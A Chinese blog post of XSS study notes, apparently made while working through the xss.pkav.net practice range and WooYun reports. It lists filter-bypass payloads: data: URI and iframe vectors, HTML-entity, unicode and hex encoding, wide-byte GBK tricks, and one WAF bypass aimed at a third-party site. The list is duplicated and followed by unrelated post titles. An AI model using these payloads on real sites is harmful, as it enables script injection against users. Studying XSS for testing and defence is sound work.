xss学习的一小步
来源:互联网 发布:app拼图软件 编辑:程序博客网 时间:2024/05/22 09:03
学习地址:
http://xss.pkav.net/xss/
【一】绕过浏览器过滤的语句,
<script src=data:,alert(1)></script>
http://wooyun.org/bugs/wooyun-2010-016672
【2】利用html编码绕过百度云加速:
http://www.changwei.me/2015/index.php?q="/><img src=1 onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B><!--
【3】检测xss 用\
http://wooyun.org/bugs/wooyun-2010-016197
这里我比较习惯用\,因为这玩意比较好使。当然你也可以用其它比较特殊的符号,比如双引号,单引号,只是被过滤掉的几率比较大。
【4】JS字符串中,字符还可以表示为unicode的形式。即:单引号还可以表示为\u0027或\x27
http://wooyun.org/bugs/wooyun-2010-016437
【5】1.1 最好懂的,onload执行js
<iframe onload="alert(1)"></iframe>
1.2 src 执行javascript代码
<iframe src="javascript:alert(1)"></iframe>
1.3 IE下vbscript执行代码
<iframe src="vbscript:msgbox(1)"></iframe>
1.4 Chrome下data协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome
http://wooyun.org/bugs/wooyun-2010-016223
【6】css里面的expression
这里没有过滤 \ ,反斜线, 而 css里,允许使用转义字符, \ + ascii16进制形式。这样一来,我们就可以构造利用语句啦。
http://www.wooyun.org/bugs/wooyun-2010-015963
【7】输出在js代码中的字符可以用html characters来代替(&#ascii码;)
JS部分我们可以做以下构造,由于'被过滤,我们可以将'写为 '
http://www.wooyun.org/bugs/wooyun-2010-015963
【8】宽字节xss:首先要注意网页的编码:这个网页的编码:gb18030
这个漏洞的成因,和传统的宽字节漏洞并不一样。目测应该是由于过滤双引号的正则表达式写得有问题造成的。并不是因为%22变成了 %5c%22,而 %c0吃掉了后面的%5c。 而后面这种情况,在腾讯的相关站点暂时没有发现实际案例。
我的弹窗:
payload:http://xss.pkav.net/xss/ext/4.php?sid=ktqO7DjMQcJuAABQ&t=%df%22;alert(1);////
教程的:
payload:http://xss.pkav.net/xss/ext/4.php?sid=ktqO7DjMQcJuAABQ&t=%c0%22;alert(1);//aaaaaa
http://www.wooyun.org/bugs/wooyun-2010-015969
【9】如果输出在注释里面,则用%0a来做换行符,然后接js代码
http://www.wooyun.org/bugs/wooyun-2010-016003
【10】找xss首先要看页面的字符集:<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
如果字符集里面带有gbxxx就可以用宽字符来扰乱过滤器,从而闭合双引号单引号
输出在注释里面的话就用%0a换个行
结尾要注意用注释来注释后面的代码
http://www.wooyun.org/bugs/wooyun-2012-016008
【11】在看dom xss的时候看到“<>”用jsunicode编码(就是:如把尖括号编码[ < ] ----->jsunicode:\u003c)
而不能用html实体编码(就是:如把尖括号编码[ < ] -----> html十进制: < html十六进制:<)
后来在http://www.freebuf.com/articles/web/55505.html 看到:
HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
所以这个靶场的xss不能写成:
http://xss.pkav.net/xss/ext/8.1.php?data=<script>alert(1)</script>
而是:http://xss.pkav.net/xss/ext/8.1.php?data=\u003cimg src=1 onerror=alert(1)\u003e"
http://www.wooyun.org/bugs/wooyun-2010-016041
【12】和【11】环境相同当jsunicode编码的\u003c被过滤时,则可以用javascript的八进制跟十六进制
http://xss.pkav.net/xss/ext/8.2.php?libid=1&keyvalue=\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x22\x31\x22\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x20\x2f\x3e&attr=133&stype=2&tname=star_second.shtml
http://www.wooyun.org/bugs/wooyun-2010-016041
http://xss.pkav.net/xss/
【一】绕过浏览器过滤的语句,
<script src=data:,alert(1)></script>
http://wooyun.org/bugs/wooyun-2010-016672
【2】利用html编码绕过百度云加速:
http://www.changwei.me/2015/index.php?q="/><img src=1 onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2349%3B%26%2341%3B><!--
【3】检测xss 用\
http://wooyun.org/bugs/wooyun-2010-016197
这里我比较习惯用\,因为这玩意比较好使。当然你也可以用其它比较特殊的符号,比如双引号,单引号,只是被过滤掉的几率比较大。
【4】JS字符串中,字符还可以表示为unicode的形式。即:单引号还可以表示为\u0027或\x27
http://wooyun.org/bugs/wooyun-2010-016437
【5】1.1 最好懂的,onload执行js
<iframe onload="alert(1)"></iframe>
1.2 src 执行javascript代码
<iframe src="javascript:alert(1)"></iframe>
1.3 IE下vbscript执行代码
<iframe src="vbscript:msgbox(1)"></iframe>
1.4 Chrome下data协议执行代码
<iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome
http://wooyun.org/bugs/wooyun-2010-016223
【6】css里面的expression
这里没有过滤 \ ,反斜线, 而 css里,允许使用转义字符, \ + ascii16进制形式。这样一来,我们就可以构造利用语句啦。
http://www.wooyun.org/bugs/wooyun-2010-015963
【7】输出在js代码中的字符可以用html characters来代替(&#ascii码;)
JS部分我们可以做以下构造,由于'被过滤,我们可以将'写为 '
http://www.wooyun.org/bugs/wooyun-2010-015963
【8】宽字节xss:首先要注意网页的编码:这个网页的编码:gb18030
这个漏洞的成因,和传统的宽字节漏洞并不一样。目测应该是由于过滤双引号的正则表达式写得有问题造成的。并不是因为%22变成了 %5c%22,而 %c0吃掉了后面的%5c。 而后面这种情况,在腾讯的相关站点暂时没有发现实际案例。
我的弹窗:
payload:http://xss.pkav.net/xss/ext/4.php?sid=ktqO7DjMQcJuAABQ&t=%df%22;alert(1);////
教程的:
payload:http://xss.pkav.net/xss/ext/4.php?sid=ktqO7DjMQcJuAABQ&t=%c0%22;alert(1);//aaaaaa
http://www.wooyun.org/bugs/wooyun-2010-015969
【9】如果输出在注释里面,则用%0a来做换行符,然后接js代码
http://www.wooyun.org/bugs/wooyun-2010-016003
【10】找xss首先要看页面的字符集:<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
如果字符集里面带有gbxxx就可以用宽字符来扰乱过滤器,从而闭合双引号单引号
输出在注释里面的话就用%0a换个行
结尾要注意用注释来注释后面的代码
http://www.wooyun.org/bugs/wooyun-2012-016008
【11】在看dom xss的时候看到“<>”用jsunicode编码(就是:如把尖括号编码[ < ] ----->jsunicode:\u003c)
而不能用html实体编码(就是:如把尖括号编码[ < ] -----> html十进制: < html十六进制:<)
后来在http://www.freebuf.com/articles/web/55505.html 看到:
HTML编码的存在就是让他在代码中和显示中分开, 避免错误。他的命名实体:构造是&加上希腊字母,字符编码:构造是&#加十进制、十六进制ASCII码或unicode字符编码,而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里,比如属性src里,但却不能对src进行html编码。不然浏览器无法正常的渲染。
所以这个靶场的xss不能写成:
http://xss.pkav.net/xss/ext/8.1.php?data=<script>alert(1)</script>
而是:http://xss.pkav.net/xss/ext/8.1.php?data=\u003cimg src=1 onerror=alert(1)\u003e"
http://www.wooyun.org/bugs/wooyun-2010-016041
【12】和【11】环境相同当jsunicode编码的\u003c被过滤时,则可以用javascript的八进制跟十六进制
http://xss.pkav.net/xss/ext/8.2.php?libid=1&keyvalue=\x3c\x69\x6d\x67\x20\x73\x72\x63\x3d\x22\x31\x22\x20\x6f\x6e\x65\x72\x72\x6f\x72\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x20\x2f\x3e&attr=133&stype=2&tname=star_second.shtml
http://www.wooyun.org/bugs/wooyun-2010-016041
0 0
- xss学习的一小步
- 一个人的一小步
- 迈出创业的一小步
- 测试的每天一小步
- 一小步
- 机器学习一小步:Kaggle上的练习Titanic: Machine Learning from Disaster(一)
- 每天一小步--数据库Oracle的索引
- 人类的一小步(第二章)
- pandas与numpy的一小步
- 关于实现V2X的一小步
- 机器学习一小步:Kaggle上的练习Titanic: Machine Learning from Disaster(二)
- lldb 的一小步 调试器的一大步
- lldb 的一小步 调试器的一大步
- 格式刷的一小步,原型工具的一大步
- 奚梦瑶的一小步,维秘的一大步
- OSGi一小步
- 走出一小步
- 地图显示人类首次登月的“一小步”确实不大
- 将datatable转换成模型
- 高性能web站点的优化(一)--引子
- poj 1190 dfs+剪枝
- Install Ubuntu 15.10, cmake, Emacs, newclisp, clang++, cppcms(DO NOT UPDATE Python!!!)
- 【Android问题集】ListView的item的listSelector在第一次时不起作用
- xss学习的一小步
- C++11在时空性能方面的改进
- Tomcat – Java.Lang.OutOfMemoryError: PermGen Space
- 2. Add Two Numbers | Java最短代码实现
- ImageLoader 的一些配置
- play framework tutorial 1
- C++虚继承(九) --- 构造函数调用顺序的实用之处
- 队列的滑动窗口最大值练习题.
- 2.PHP 预定义接口 --- Traversable(遍历)接口